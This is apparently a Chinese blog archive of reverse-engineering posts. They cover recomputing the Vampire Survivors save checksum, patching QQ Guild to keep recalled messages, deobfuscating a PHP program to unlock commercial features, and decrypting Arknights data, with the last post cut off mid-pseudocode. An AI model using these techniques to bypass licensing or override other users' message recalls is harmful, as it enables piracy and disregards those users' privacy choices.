0x0 背景首先从B站王老菊那发现了Steam小游戏Vampire Survivors，买来等有时间玩了发现想解锁属性还挺肝，随即想搞搞事。看下游戏目录很容易可以看出是基于Electron做的。文件搜索Vampire Survivors可以找到存档文件在C:\Users\USER_NAME\AppData\Roaming\Vampire_Survivors\saves目录下，打开发现就是以Json格式保存的，但有个checksum字段防止玩家篡改。那么可以通过此字段作为入口进行分析。我自己是适当修改了金币数量省肝，未修改属性及无敌等避免无趣。另：在游戏主界面按下金手指上上下下左右左右 Esc Enter可获得3000金币，仅可获取一次。这个金手指仅可获取一次对应存档中CheatCodeUsed字段0x1 存档修改与解混淆在steamapps\common\Vampire Survivors\resources\app下执行文本搜索关键词SaveData.sav或checksum即可定位到文件.webpack\renderer\main.bundle.js。备份一下原文件后用Prettier格式化一下:npx prettier --write .\main.bundle.js打开稍微看下能够看出为常见混淆思路，特征为大数组+偏移函数+解密函数。之前尝试PHP反混淆时遇到过类似的混淆，搜索资料知晓在JavScript中为类ob混淆。解决思路同样为通过AST还原。随意谷歌下找到挺多大佬已经写过JavaScript解混淆的代码，前排找到篇教程中有实例代码，直接拿来针对修改使用。Gist备份 ob-decrypt.js先按照ob混淆的特征重新排序下代码块，AST的前三段应当为大数组+偏移函数+解密函数。即为：function a0_0x3cab() { const _0x3ec6ef = [ "every", "random", ... "graphics2", ]; a0_0x3cab = function () { return _0x3ec6ef; }; return a0_0x3cab(); } (function (_0x422224, _0x2db768) { const _0x369aef = a0_0x150b, _0x19e7b7 = _0x422224(); while (!![]) { try { const _0x31194f = parseInt(_0x369aef(0xb30)) / 0x1 + parseInt(_0x369aef(0x522)) / 0x2 + parseInt(_0x369aef(0x8c8)) / 0x3 + (parseInt(_0x369aef(0x405)) / 0x4) * (parseInt(_0x369aef(0x367)) / 0x5) + (parseInt(_0x369aef(0x1d9)) / 0x6) * (-parseInt(_0x369aef(0x5a5)) / 0x7) + (parseInt(_0x369aef(0x67f)) / 0x8) * (parseInt(_0x369aef(0x6ce)) / 0x9) + (-parseInt(_0x369aef(0xa7f)) / 0xa) * (parseInt(_0x369aef(0x4eb)) / 0xb); if (_0x31194f === _0x2db768) break; else _0x19e7b7["push"](_0x19e7b7["shift"]()); } catch (_0x19db15) { _0x19e7b7["push"](_0x19e7b7["shift"]()); } } })(a0_0x3cab, 0x51997) function a0_0x150b(_0x8a0c12, _0x437a92) { const _0x3cabcb = a0_0x3cab(); return ( (a0_0x150b = function (_0x150b54, _0x5ea125) { _0x150b54 = _0x150b54 - 0xdf; let _0x512b08 = _0x3cabcb[_0x150b54]; return _0x512b08; }), a0_0x150b(_0x8a0c12, _0x437a92) ); }掏出好帮手AST可视化工具丢进代码，定位到解密函数以及存档函数，参照这对上面拿到的解混淆工具进行修改。（存档函数，其实即便不进行混淆还原也能够基本看出存档验证逻辑了，源代码如下）[_0x5e9c75(0x1b9)]() { const _0x78dcb4 = _0x5e9c75; if (!_0x2797d7) return !0x1; try { const _0xd32b5f = _0x4fdc49(0x1beb), _0xdc67ec = _0x4fdc49(0x3f9); var _0x44317e = _0x4fdc49(0x17e1); let _0x2304dc = this[_0x78dcb4(0x4da)](), _0x1878e = _0xdc67ec["resolve"](_0x2304dc, "SaveData.sav"); if (!_0xd32b5f["existsSync"](_0x1878e)) return console[_0x78dcb4(0x128)]("SaveData not found"), !0x1; let _0x57097f = _0xd32b5f[_0x78dcb4(0x3c3)]( _0xdc67ec[_0x78dcb4(0x479)](_0x2304dc, "SaveData.sav") ), _0x3308ae = JSON[_0x78dcb4(0xab0)](_0x57097f), // 推测为 JSON.parse() _0x31074d = _0x3308ae["checksum"]; _0x3308ae[_0x78dcb4(0x93b)] = ""; // 推测把 checksum 改为空字符串 let _0x46e99c = JSON[_0x78dcb4(0x206)](_0x3308ae); // 推测为 JSON.stringfy() const _0x56614f = "DefinitelyNotSaveDataSecretKey"; // 草，我不信，绝对是SecretKey if ( _0x31074d != _0x44317e[_0x78dcb4(0x5c7)]("sha256", _0x56614f) // 推测为crypto.createHmac("sha256", secret); ["update"](_0x46e99c) [_0x78dcb4(0x81a)]("hex") ) return console[_0x78dcb4(0x128)]("SaveData is corrupt"), !0x1; for (const _0x54742b in _0x3308ae) this[_0x78dcb4(0x6de)](_0x54742b) && (this[_0x54742b] = _0x3308ae[_0x54742b]); return !0x0; } catch (_0x5df523) { return console[_0x78dcb4(0x128)](_0x5df523), !0x1; } }这里可以看出核心为const _0x78dcb4 = _0x5e9c75;而开头又有const _0x5e9c75 = a0_0x150b;a0_0x150b是大数组+偏移函数+解密函数中的解密函数，那么可以通过这些赋值在遍历AST时找到调用并进行替换，下图为_0x5e9c75声明节点。以此调用为例_0x3308ae = JSON[_0x78dcb4(0xab0)](_0x57097f)，下图为调用节点。解混淆代码中decrypt_arr()函数为修改的重点，以下注释中含星号的为修改处。function decrypt_arr(ast) { //TODO 1 解密三部分的代码执行 let end = 3;//切片需要处理的代码块 let newAst = parse.parse('');//新建ast let decrypt_code = ast.program.body.slice(0, end);//切片 newAst.program.body = decrypt_code// 将前3个节点替换进新建ast let stringDecryptFunc = generator(newAst, { compact: true },).code;//转为js，由于存在格式化检测，需要指定选项，来压缩代码// 自动转义 eval(stringDecryptFunc);//执行三部分的代码 //TODO 2 准备工作及对解密三部分节点删除 let stringDecryptFuncAst = ast.program.body[end - 1];// 拿到解密函数所在的节点 let DecryptFuncName = stringDecryptFuncAst.id.name;//拿到解密函数的名字 * var rest_code = ast.program.body.slice(end); // 剩下的节点 ast.program.body = rest_code;//剩下的节点替换 //TODO 3 加密数组还原 * let listOfNewArrayName = []; traverse(ast, { enter(path) { if (path.isVariableDeclarator()) { // 对应const _0x78dcb4 = _0x5e9c75;等 const id = path.node.id; const init = path.node.init; if(init == null || init.type != 'Identifier'){ return; } if (init.name == DecryptFuncName || listOfNewArrayName.indexOf(init.name) != -1) { listOfNewArrayName.push(id.name); console.log(path.toString()); eval(path.toString()); } } else if (path.isCallExpression()) { const callee = path.node.callee; if (listOfNewArrayName.indexOf(callee.name) != -1) { // console.log(path.toString()); // console.log(eval(path.toString())); path.replaceWith(t.valueToNode(eval(path.toString()))); } } }, }); traverse(ast, { CallExpression(path) {//回调表达式匹配--替换加密数组为对应的值 if (t.isIdentifier(path.node.callee, { name: DecryptFuncName })) { //当变量名与解密函数名相同时，就执行相应操作 path.replaceWith(t.valueToNode(eval(path.toString()))); // 值替换节点 } }, }); traverse(ast, { MemberExpression: { exit: [add_Mem_str] }, }); // 成员表达式字符串合并 return ast; }修改完后跑一边即可解混淆，解后效果：["loadNewSaves"]() { const _0x78dcb4 = _0x5e9c75; if (!_0x2797d7) return false; try { const _0xd32b5f = _0x4fdc49(7147), _0xdc67ec = _0x4fdc49(1017); var _0x44317e = _0x4fdc49(6113); let _0x2304dc = this["getSaveDataPath"](), _0x1878e = _0xdc67ec["resolve"](_0x2304dc, "SaveData.sav"); if (!_0xd32b5f["existsSync"](_0x1878e)) return console["log"]("SaveData not found"), false; let _0x57097f = _0xd32b5f["readFileSync"]( _0xdc67ec["resolve"](_0x2304dc, "SaveData.sav") ), _0x3308ae = JSON["parse"](_0x57097f), // 推测正确 _0x31074d = _0x3308ae["checksum"]; _0x3308ae["checksum"] = ""; // 推测正确 let _0x46e99c = JSON["stringify"](_0x3308ae); // 推测正确 const _0x56614f = "DefinitelyNotSaveDataSecretKey"; // 草，推测错误，居然真的不是SecretKey if ( _0x31074d != _0x44317e["createHash"]("sha256", _0x56614f) // 绝，不是createHmac，而是createHash // createHash的第二个参数为<Object> stream.transform options // 这里传个字符串没有任何作用，唯一作用就是误导为createHmac // 一旦相信并使用createHmac传入SecretKey那么就大错特错了。 ["update"](_0x46e99c) ["digest"]("hex") ) return console["log"]("SaveData is corrupt"), false; for (const _0x54742b in _0x3308ae) this["hasOwnProperty"](_0x54742b) && (this[_0x54742b] = _0x3308ae[_0x54742b]); return true; } catch (_0x5df523) { return console["log"](_0x5df523), false; } }解混淆后发现推测基本正确，但是最关键的一步计算hash成功被误导... 看到诸如xxx.xxx('sha256', "xxx").xxx(xxx).xxx("hex");第一反应就是crypto.createHmac。但制作组很有趣，没有使用createHmac，而是createHash计算哈希，并放个字符串“绝对不是存档私钥”进行诱导。createHash的第二个参数为<Object> stream.transform options，这里传个字符串没有任何作用，唯一作用就是误导为createHmac，一旦相信并使用createHmac传入SecretKey那么就大错特错了。这波制作组在第五层。其实猜出JSON.stringify()以及将checksum清空后就可以试错发现createHmac不好使而试试sha256了之后修改存档中Coins字段并重新计算hash即可达成目标。其余的字段也可自行修改，如想修改解锁的武器则在代码中搜索switch (this["weaponType"])得到所有的武器类型名称后加到已解锁列表中。0x2 多倍经验["GetTaken"]() { const _0x52cc74 = _0x416f91; _0x1a5d11["Core"]["Player"]["xp"] += this["value"] * _0x1a5d11["Core"]["Player"]["growth"]; // 此处可以修改经验获取倍率 _0x1a5d11["Sound"]["PlaySound"]( _0x31ed46["Gem"], { volume: 0.1, }, 1, 1 ); _0x1a5d11["Core"]["PlayerUI"]["Update"](); _0x1a5d11["Core"]["CheckForLevelUp"](); super["GetTaken"](); }0x3 无敌按照经验搜索关键词找到角色血量下降代码跳过即可。我搜的关键词为onHit，进而发现OnGetDamaged函数，接着搜索OnGetDamaged时结合Die、Player等关键词定位到GetDamaged函数:["GetDamaged"]( _0x13d834 = 1, _0xa86e5e = _0x3c6802["NONE"], _0x3db247 = 1 ) { const _0x34ab02 = _0x4e1088; if ( !this["receivingDamage"] && !(this["IsInvul"] || this["hp"] <= 0) ) { if (this["shields"] > 0) return ( (this["shields"] -= 1), this["OnGetDamaged"](16777147, this["shieldInvulTime"], !1), void _0x1f071b["Core"]["scene"]["events"]["emit"]( "Player_LostShield" ) ); this["armor"] > 0 && (_0x13d834 -= this["armor"]) < 1 && (_0x13d834 = 1); this["hp"] -= _0x13d834; // 注释这行即可 this["hp"] <= 0 ? ((this["hp"] = 0), this["Die"](), _0x1f071b["Core"]["GameOver"]()) : (this["OnGetDamaged"](), _0x1f071b["Core"]["scene"]["events"]["emit"]( "Player_ReceivedDamage" )); _0x1f071b["Core"]["PlayerUI"]["Update"](); } }将this["hp"] -= _0x13d834;注释即可。0x4 人物属性修改此类修改无需进行代码解混淆，直接在代码中搜索关键词startingWeapon或charName等关键字段即可定位到人物属性设置代码，只需注意这里的数值为十六进制即可。如初始人物：level: 0x1, startingWeapon: _0x60cabf[_0x5e9c75(0x112)], cooldown: 0x1, charName: "Antonio", surname: "Belpaese", textureName: "characters", spriteName: "Antonio_01.png", walkingFrames: 0x4, description: "Gains 10% more damage every 10 levels (max +50%).", isBought: !0x0, price: 0x0, maxHp: 0x78, armor: 0x1, regen: 0x0, moveSpeed: 0x1, power: 0x1, cooldown: 0x1, area: 0x1, speed: 0x1, duration: 0x1, amount: 0x0, luck: 0x1, growth: 0x1, greed: 0x1, curse: 0x1, magnet: 0x0, revivals: 0x0,反混淆后：level: 1, startingWeapon: _0x60cabf["WHIP"], cooldown: 1, charName: "Antonio", surname: "Belpaese", textureName: "characters", spriteName: "Antonio_01.png", walkingFrames: 4, description: "Gains 10% more damage every 10 levels (max +50%).", isBought: true, price: 0, maxHp: 120, armor: 1, regen: 0, moveSpeed: 1, power: 1, cooldown: 1, area: 1, speed: 1, duration: 1, amount: 0, luck: 1, growth: 1, greed: 1, curse: 1, magnet: 0, revivals: 0,0x5 武器属性修改此类修改无需进行代码解混淆，直接在代码中搜索关键词frameName或evoSynergy等关键字段即可定位到人物属性设置代码，只需注意这里的数值为十六进制即可。如初始人物武器鞭子：[_0x60cabf[_0x5e9c75(0x112)]]: [ { level: 0x1, bulletType: _0x60cabf["WHIP"], name: "Whip", description: "Attacks horizontally, passes through enemies.", tips: "Ignores: speed, duration.", texture: "items", frameName: "Whip.png", evoSynergy: [_0x60cabf[_0x5e9c75(0xaa5)]], evoInto: _0x60cabf[_0x5e9c75(0xb40)], isUnlocked: !0x0, poolLimit: 0xf, rarity: 0x64, interval: 0x546, repeatInterval: 0x64, power: 0x1, area: 0x1, speed: 0x1, amount: 0x1, hitsWalls: !0x1, critChance: 0.2, critMul: 0x2, }, { amount: 0x1 }, { power: 0.5 }, { power: 0.5, area: 0.1 }, { power: 0.5 }, { power: 0.5, area: 0.1 }, { power: 0.5 }, { power: 0.5, addEvolvedWeapon: _0x60cabf["VAMPIRICA"] }, ],反混淆后：[_0x60cabf["WHIP"]]: [ { level: 1, bulletType: _0x60cabf["WHIP"], name: "Whip", description: "Attacks horizontally, passes through enemies.", tips: "Ignores: speed, duration.", texture: "items", frameName: "Whip.png", evoSynergy: [_0x60cabf["MAXHEALTH"]], evoInto: _0x60cabf["VAMPIRICA"], isUnlocked: true, poolLimit: 15, rarity: 100, interval: 1350, repeatInterval: 100, power: 1, area: 1, speed: 1, amount: 1, hitsWalls: false, critChance: 0.2, critMul: 2, }, {amount: 1,}, {power: 0.5,}, {power: 0.5,area: 0.1,}, {power: 0.5,}, {power: 0.5,area: 0.1,}, {power: 0.5,}, {power: 0.5,addEvolvedWeapon: _0x60cabf["VAMPIRICA"],}, ],
更新：实现PC端QQ当前子频道消息防撤回
[scode type="yellow"]更新：拿到创建频道的资格了，进行了详细测试，以下方法证实用处不大。此方法仅能实现目前浏览的子频道 中的消息防撤回，因为其余子频道的消息没有进行下载，仅仅更新了消息预览。且消息并没有保存下来，切换子频道后会触发重新加载子频道消息，获取消息的逻辑还是在QQ中（ipcRenderer.invoke('[gpro-invoke][0]','getChannelMsg')），导致防撤回的消息丢失。如有兴趣防撤回当前子频道的消息，请继续阅读。效果：[/scode]0x0 背景QQ近期公（内？）测了QQ频道，即TX版的Discord。有幸受群友邀请进入频道玩耍。本来以为PCQQ需要挺久才会支持，没想到目前已经可以使用了，只是功能相比手机端没有那么完善，且BUG不少，但至少聊天是够用了。经群友提醒PC版的QQ频道是Electron应用，缝合进QQ提供一个入口。既然是Electron，那么就可以简单搞点事情了，试试防撤回？0x1 开启DevToolsWindows任务管理器可以看到QQ频道的程序名为QQGuild，没有打开文件位置的选项。用Everything搜一下QQGuild即可发现其位于$HOME/AppData/Local/Tencent/QQGuild/1.x/。打卡即可看到熟悉的Electron应用结构，从resources/app/package.json可得知程序主入口为background.js格式化后在最下方可以看到加载方法： class y { constructor() { this.initGpro(), this.initInvoker(); } initGpro() { const e = p.a, t = new m.NodeIGProSdkListener(e); this.wrapper = new m.NodeIGProSdkWrapper(t); const n = new v(); (n.dbPath = "gpro.db"), (n.clientVer = a.app.getVersion() + "-330c67c4"), (n.pSqlite3 = 0), (n.platform = f.a), (n.platVer = f.b), (n.a2 = f.c ? _.a.a2 : ""), (n.d2 = f.c ? _.a.d2 : ""), (n.d2Key = f.c ? _.a.d2Key : ""), (n.userDataDir = d.a), (n.machineId = c), (n.argv = process.argv), (n.isProduction = !f.c), (p.a.uin = String(f.c ? _.a.uin : "")), (p.a.wrapper = this.wrapper), this.wrapper.start(_.a.uin, n), h.a.info("initGpro call wrapper.start"); } initInvoker() { Object(g.a)(this.wrapper); } } class v {} var M = n(14); a.protocol.registerSchemesAsPrivileged([ { scheme: "app", privileges: { secure: !0, standard: !0 } }, ]), h.a.info("main process start"), f.d && (a.app.commandLine.appendSwitch("--ignore-certificate-errors", "true"), f.c || a.app.dock.hide()), a.app.on("window-all-closed", () => { h.a.info("[app window-all-closed]"), f.c && a.app.quit(); }), a.app.on("activate", () => { var e; f.d && (null === (e = M.a.win) || void 0 === e || e.show()); }), ...... ...... process.on("unhandledRejection", (e) => { h.a.error(null == e ? void 0 : e.toString()); }), process.on("uncaughtException", (e) => { h.a.error(null == e ? void 0 : e.toString()); }); }, ]); 在h.a.info("main process start"),前添加a.app.commandLine.appendSwitch('remote-debugging-port', '8315');即可在加载后通过http://127.0.0.1:8315 调试，来自https://stackoverflow.com/a/30638448。多个教程中均包含这条a.app.commandLine.appendSwitch('host-rules', 'MAP * 127.0.0.1');。其实际作用是强制所有主机名映射到 127.0.0.1，这个配置会导致无法从腾讯服务器上下载资源，如用户头像，频道头图等。实测不加此条照样可以进行调试，这里选择不添加 。0x2 防撤回打开Console之后就可看到打印的日志，观察下就可发现info级别的日志已经打印出需要的信息了，包括onRecvMsg、onAddSendMsg等。尝试撤回消息后发现打印了一个onMsgInfoListUpdate，定位到代码后如下：bindMsgInfoListUpdate({ rootState: e, commit: t }) { o["a"].on("onMsgInfoListUpdate", (n) => { r["a"].info("onMsgInfoListUpdate: ", n); const { msgList: i } = e.chat, A = [...i], { msgList: s } = n; s.forEach((e) => { const { msgId: t } = e, n = i.findIndex((e) => e.msgId === t); -1 !== n && (A[n] = e); }), t("UPDATE_MSG_LIST", A); }); },结合打印出的内容：{ "msgList": [ { "msgId": "xxxxxxxxx", "msgRandom": "xxxxxxxxx", "msgSeq": "xxx", "cntSeq": "xxx", "chatType": 4, "msgType": 5, "subMsgType": 4, "sendType": 2, "senderUid": "xxxxxx", "peerUid": "xxxxxx", "channelId": "xxxxxx", "guildId": "xxxxxx", "guildCode": "xxxxxx", "fromUid": "0", "fromAppid": "0", "msgTime": "xxxxxx", "msgMeta": "0x", "sendStatus": 2, "sendMemberName": "", "sendNickName": "xxxxxx", "guildName": "", "channelName": "", "elements": [ { "elementType": 8, "elementId": "xxxxxx", "textElement": { "content": "", "atType": 0, "atUid": "0", "atTinyId": "0" }, "faceElement": { "faceIndex": 0, "faceText": "" }, "replyElement": { "replayMsgId": "0", "replayMsgSeq": "0", "sourceMsgText": "", "senderUid": "0" }, "picElement": { "fileName": "", "fileSize": "0", "picWidth": 0, "picHeight": 0, "original": false, "md5": "", "sourcePath": "", "thumbPath": {} }, "videoElement": { "fileName": "", "videoMd5": "", "thumbMd5": "", "fileTime": 0, "thumbSize": 0, "fileFormat": 0, "fileSize": 0, "thumbWidth": 0, "thumbHeight": 0, "busiType": 0 }, "grayTipElement": { "subElementType": 1, "revokeElement": { "operatorTinyId": "xxxxxx", "operatorRole": "0" }, "proclamationElement": { "isSetProclamation": 0 } }, "arkElement": { "bytesData": "" }, "fileElement": { "fileMd5": "", "fileName": "", "filePath": "", "fileSize": "0", "picHeight": 0, "picWidth": 0, "picThumbPath": {}, "expireTime": "0" } } ], "emojiLikesList": [], "commentCnt": "0" } ] }可以发现这个方法是接收服务器下发的消息内容更新，对于撤回来说将内容清空了。之前的防撤回方法相对粗暴，直接将此方法注释，可能会影响消息的编辑、贴表情（PC尚未支持）等。现在有空闲时间可以继续研究一下如何精确拦截防撤回。用revoke当关键词搜索并阅读代码可以发现grayTipElement.subElementType的取值是1时为消息撤回。那么就可以在上述bindMsgInfoListUpdate方法的循环中添加判断是否为消息撤回。既然定位到消息更新的方法了，那么我们也可以对消息进行编辑实现撤回提示。最终修改完成的代码如下：bindMsgInfoListUpdate({ rootState: e, commit: t }) { o["a"].on("onMsgInfoListUpdate", (n) => { r["a"].info("onMsgInfoListUpdate: ", JSON.stringify(n)); const { msgList: i } = e.chat, A = [...i], { msgList: s } = n; s.forEach((e) => { const { msgId: t } = e, n = i.findIndex((e) => e.msgId === t); if (-1 !== n) { if (e.elements.some(el => el.grayTipElement.subElementType == 1)) { e = A[n]; e.elements.push( { "elementType": 1, "elementId": "114514", "textElement": { "content": "\r↑拦截到此消息撤回↑", "atType": 0, "atUid": "0", "atTinyId": "0" }, "faceElement": { "faceIndex": 0, "faceText": "" }, "replyElement": { "replayMsgId": "0", "replayMsgSeq": "0", "sourceMsgText": "", "senderUid": "0" }, "picElement": { "fileName": "", "fileSize": "0", "picWidth": 0, "picHeight": 0, "original": false, "md5": "", "sourcePath": "", "thumbPath": {} }, "videoElement": { "fileName": "", "videoMd5": "", "thumbMd5": "", "fileTime": 0, "thumbSize": 0, "fileFormat": 0, "fileSize": 0, "thumbWidth": 0, "thumbHeight": 0, "busiType": 0 }, "grayTipElement": { "subElementType": 0, "revokeElement": { "operatorTinyId": "0", "operatorRole": "0" }, "proclamationElement": { "isSetProclamation": 0 } }, "arkElement": { "bytesData": "" }, "fileElement": { "fileMd5": "", "fileName": "", "filePath": "", "fileSize": "0", "picHeight": 0, "picWidth": 0, "picThumbPath": {}, "expireTime": "0" } } ); } A[n] = e; } }), t("UPDATE_MSG_LIST", A); }); },
记录下初次尝试解PHP混淆时的学习资料
[scode type="red"]免责声明：本文仅为博主安全研究学习记录，不提供明确步骤，强烈反对参考本文内容进行不正当用途，请后果自负。[/scode]本文算是水文吧，不暴露破解细节就没什么好讲的内容，此前也没有接触过PHP相关的逆向，权当记录下哪些前辈的文章对PHP解混淆有帮助。simon816/PHPDeobfuscator: Advanced PHP deobfuscator)初探PHP-Parser和PHP代码混淆开发简单的PHP混淆器与解混淆器 - zsx's BlogPHP解密：EnPHP mzphp2加密 无法还原变量名的混淆加密 - 吾爱破解以下无营养水文，可略过，有价值的内容上面的文章里都提到了前段时间物色自建网盘程序的时候发现不少都是基于PHP开发的，测试到其中一款的时候发现其实商业版的功能已经存在，只是没有授权不开放 。随之手痒尝试突破限制。实际上并未选择使用此程序从官网下载到程序后解压，在入口index.php中发现实例化了Application。转到定义发现是一个充斥着大量乱码的PHP文件，看看其他文件均未进行混淆，确定本文件即为关键点。格式化代码后入口函数如下：结合其他函数可以发现代码本身未被加密，但是变量被混淆成乱码、控制流被打乱以及到处都用到某个数组。Google一阵PHP反混淆后发现那些所谓的在线PHP解混淆网站都没啥用处。而此工具 simon816/PHPDeobfuscator可解流程控制、HEX字符串并格式化代码。使用方法：php index.php -f foo.php > bar.php还原流程控制后发现其开头定义了一个名称为乱码的全局数组：$_SERVER[foo] = explode("bar",gzinflate("foobar"));该数组在后续代码中大量被引用，猜测所有的字符串都存在此数组中了。继续搜索发现这与常用混淆方案EnPHP十分类似，且已经有相当多的文章讲述如何解此类混淆并提供示例代码，照猫画虎后成功解决混淆。其实这里才是重点，但此程序并未更新加密方式，本文不能提供具体步骤，请参考初探PHP-Parser和PHP代码混淆进行学习研究。解掉混淆后踩坑发现本文件有好几处自身文件大小检验，如果大小不符则会无限循环在DATA_PATH下创建无限文件。而在本文件之外也有全局变量中存在文件大小与否的校验，如果不通过则直接退出程序。
解密明日方舟的数据信息 - 远古版本0.7.8
[scode type="red"]免责声明：本文仅为博主安全研究学习记录，强烈反对参考本文内容进行不正当用途，包括但不限于作弊行为等。请后果自负。[/scode][scode type="yellow"]此文为补写，意为记录，重新分析也是用回远古版本安装包，应该已不适用于目前版本游戏[/scode]0x0 背景2019年5月跟着群友入坑了明日方舟（于2019年11月左右弃坑），顺手拆了CG和立绘（Perfare佬yyds）。后来突发奇想想做个多游戏抽卡模拟器（剧透：咕了）。素材已经到位，接着就是卡池数据了，得想个办法拆出游戏数据，总不能期期手动跟进卡池更新吧？于是说干就干，打开资源文件夹，发现在\AB\Android\gamedata\excel目录下有gacha_table.ab文件，这就是卡池数据了。丢进AssetStudio，点开gacha_table就发现全是看不懂的数据，导出后为gacha_table.bytes。没办法，只能分析下是怎么解密数据的了。注：本文为补写，按照回忆重新开始分析，与文中不同的时当时是直接搜索加密相关关键词直接找到几个解密类Hook的。0x1 寻找解密方法游戏基于UnityEngine引擎且使用了il2cpp。按部就班掏出Il2CppDumper加载libil2cpp.so及assets\bin\Data\Managed\Metadata\global-metadata.dat，然后丢IDA分析并加载dump出的IDA python脚本。（值得一提（？）的是，ARM和ARMv7架构对应lib中libil2cpp.so是完全相同的。仅有少量第三方库存在差异。）与此同时使用dnSpy加载dump出的dummy dll寻找到可疑目标类Torappu.GachaDB，其继承自Torappu.DB.ConstTable -> SingletonAbstractTable -> AbstractTable。跳转到Torappu.DB，好家伙，疑似3个加解密方法：第一个应是Json密文的序列化及反序列化、第二个是很明显的AES加解密，第一次接触RijndaelManaged类还是在崩坏学园2里、而第三个看着像是基于随机种子的加解密。查看DBLoader.LoadTable()方法，伪代码：int __fastcall DBLoader__LoadTable(int a1, _DWORD *abstractTable) { int v3; // r1 int result; // r0 int isProdMode; // r0 int *tableConfig; // r1 int converter; // r5 int v8; // r0 int v9; // r0 if ( !byte_3023ECE ) { sub_26B1D18(15387); byte_3023ECE = 1; } if ( !abstractTable ) goto LABEL_13; v3 = (*(int (__fastcall **)(_DWORD *, _DWORD))(*abstractTable + 212))( abstractTable, *(_DWORD *)(*abstractTable + 216)); result = 1; if ( v3 ) return result; isProdMode = AbstractTable__get_isProdMode(1); tableConfig = abstractTable + 3; if ( isProdMode ) tableConfig = abstractTable + 4; if ( !*tableConfig ) { LABEL_13: v9 = ((int (*)(void))loc_26E73D0)(); return CryptUtils__CalculateMD5FromFileOrEmpty(v9); } converter = ConverterFactory__Create(*tableConfig, *(_DWORD *)(*tableConfig + 20)); v8 = Class_Torappu_DB_DBLoader; if ( (*(_BYTE *)(Class_Torappu_DB_DBLoader + 178) & 1) != 0 && !*(_DWORD *)(Class_Torappu_DB_DBLoader + 96) ) v8 = il2cpp_runtime_class_init_0(); return DBLoader___DoLoadTable(v8, abstractTable, converter, 0); }发现其调用了ConverterFactory.Create()创建了实例并传递给了DBLoader._DoLoadTable()。结合dummy dll来看：using System; using Il2CppDummyDll; namespace Torappu.DB { public static class ConverterFactory { [Address(RVA = "0x219E9B8", Offset = "0x219E9B8", VA = "0x219E9B8")] public static IConverter Create(ConverterFactory.ConverterType converterType) { return null; } public enum ConverterType { JSON_DOT_NET, BSON_DOT_NET, CRYPTIC_A, CRYPTIC_B } } } 可见ConverterFactory.Create()的参数即为使用的加解密方法。而此属性在AbstractTable的_prodConfig中。接着看下ConverterFactory.Create()的伪代码：int *__fastcall ConverterFactory__Create(int a1, unsigned int converterType) { int *v3; // r4 int *result; // r0 int v5; // r4 int v6; // r4 int *v7; // r5 int v8; // r0 unsigned int v9[5]; // [sp+4h] [bp-14h] BYREF if ( !byte_3023EBF ) { sub_26B1D18(14632); byte_3023EBF = 1; } if ( converterType > 3 ) { LABEL_10: v9[0] = converterType; v5 = il2cpp_value_box_0(Class_ConverterFactory_ConverterType, v9); if ( (*(_BYTE *)(Class_string + 178) & 1) != 0 && !*(_DWORD *)(Class_string + 96) ) il2cpp_runtime_class_init_0(Class_string, 0); v6 = String__Concat_25024156(0, StringLiteral_11169, v5, StringLiteral_11170, 0); v7 = sub_26F735C(Class_System_Exception); Exception___ctor_20095288(v7, v6, 0); v8 = ((int (__fastcall *)(int *))il2cpp_raise_exception_0)(v7); result = (int *)CryptUtils__CalculateMD5FromFileOrEmpty(v8); } else { switch ( converterType ) { case 0u: v3 = sub_26F735C(Class_Torappu_DB_JsonNetConverter); JsonNetConverter___ctor(); break; case 1u: v3 = sub_26F735C(Class_Torappu_DB_BsonNetConverter); BsonNetConverter___ctor(); break; case 2u: v3 = sub_26F735C(Class_Torappu_DB_CrypticConverter_A); CrypticConverter_A___ctor((int)v3); break; case 3u: v3 = sub_26F735C(Class_Torappu_DB_CrypticConverter_B); CrypticConverter___ctor((int)v3); v3[4] = 42; break; default: goto LABEL_10; } result = v3; } return result; }可以发现就是通过converterType来创建对应的Converter。那么卡池数据 converterType的值是多少呢？查看GachaDB的初始化方法GachaDB___ctor看到return ConstTable___ctor(a1, Method_ConstTable_GachaData__GachaDB___ctor__);，点进去看到伪代码：int __fastcall ConstTable___ctor(int a1, int a2) { int v4; // r6 int v5; // r6 int v6; // r6 int v7; // r1 int result; // r0 int v9; // r0 *(_DWORD *)(a1 + 28) = (***(int (__fastcall ****)(_DWORD))(*(_DWORD *)(a2 + 12) + 84))(0); if ( a1 ) { v4 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(a2 + 12) + 84) + 8); sub_26A3FD8(v4); if ( (*(_BYTE *)(v4 + 178) & 1) != 0 ) { v5 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(a2 + 12) + 84) + 8); sub_26A3FD8(v5); if ( !*(_DWORD *)(v5 + 96) ) { v6 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(a2 + 12) + 84) + 8); sub_26A3FD8(v6); il2cpp_runtime_class_init_0(v6, v7); } } result = (**(int (__fastcall ***)(int))(*(_DWORD *)(*(_DWORD *)(a2 + 12) + 84) + 4))(a1); } else { v9 = ((int (*)(void))loc_26E73D0)(); result = ActionDict__get_Item_36179992(v9); } return result; }噔噔咚，当场去世，先尝试看看DBLoader._DoLoadTable()吧：int __fastcall DBLoader___DoLoadTable(int a1, int *abstractTable, int converter, int false) { int v7; // r0 int isSuccess; // r7 int isProdMode; // r0 int *v10; // r1 int tableConfig; // r7 int assetPath; // r6 int textAsset; // r6 int v14; // r4 int v15; // r4 int convertSuccess; // r5 int v17; // r4 int v19; // r0 int v20[10]; // [sp+10h] [bp-28h] BYREF v7 = (unsigned __int8)byte_3023ECF; if ( !byte_3023ECF ) { sub_26B1D18(15384); v7 = (int)&unk_3023E20; byte_3023ECF = 1; } if ( false ) { if ( !abstractTable ) goto LABEL_39; goto LABEL_8; } if ( abstractTable ) { v7 = (*(int (__fastcall **)(int *, _DWORD))(*abstractTable + 212))(abstractTable, *(_DWORD *)(*abstractTable + 216)); isSuccess = 1; if ( v7 ) return isSuccess; LABEL_8: isProdMode = AbstractTable__get_isProdMode(v7); v10 = abstractTable + 3; if ( isProdMode ) v10 = abstractTable + 4; tableConfig = *v10; if ( !*v10 ) goto LABEL_39; if ( *(_BYTE *)(tableConfig + 8) ) // if(loadFromResource) { assetPath = *(_DWORD *)(tableConfig + 12); if ( (*(_BYTE *)(Class_Torappu_Resource_ResourceManager + 178) & 1) != 0 && !*(_DWORD *)(Class_Torappu_Resource_ResourceManager + 96) ) { il2cpp_runtime_class_init_0(Class_Torappu_Resource_ResourceManager, 0); } textAsset = ResourceManager__Load(0, assetPath, Method_ResourceManager_Load___TextAsset_); if ( (*(_BYTE *)(Class_UnityEngine_Object + 178) & 1) != 0 && !*(_DWORD 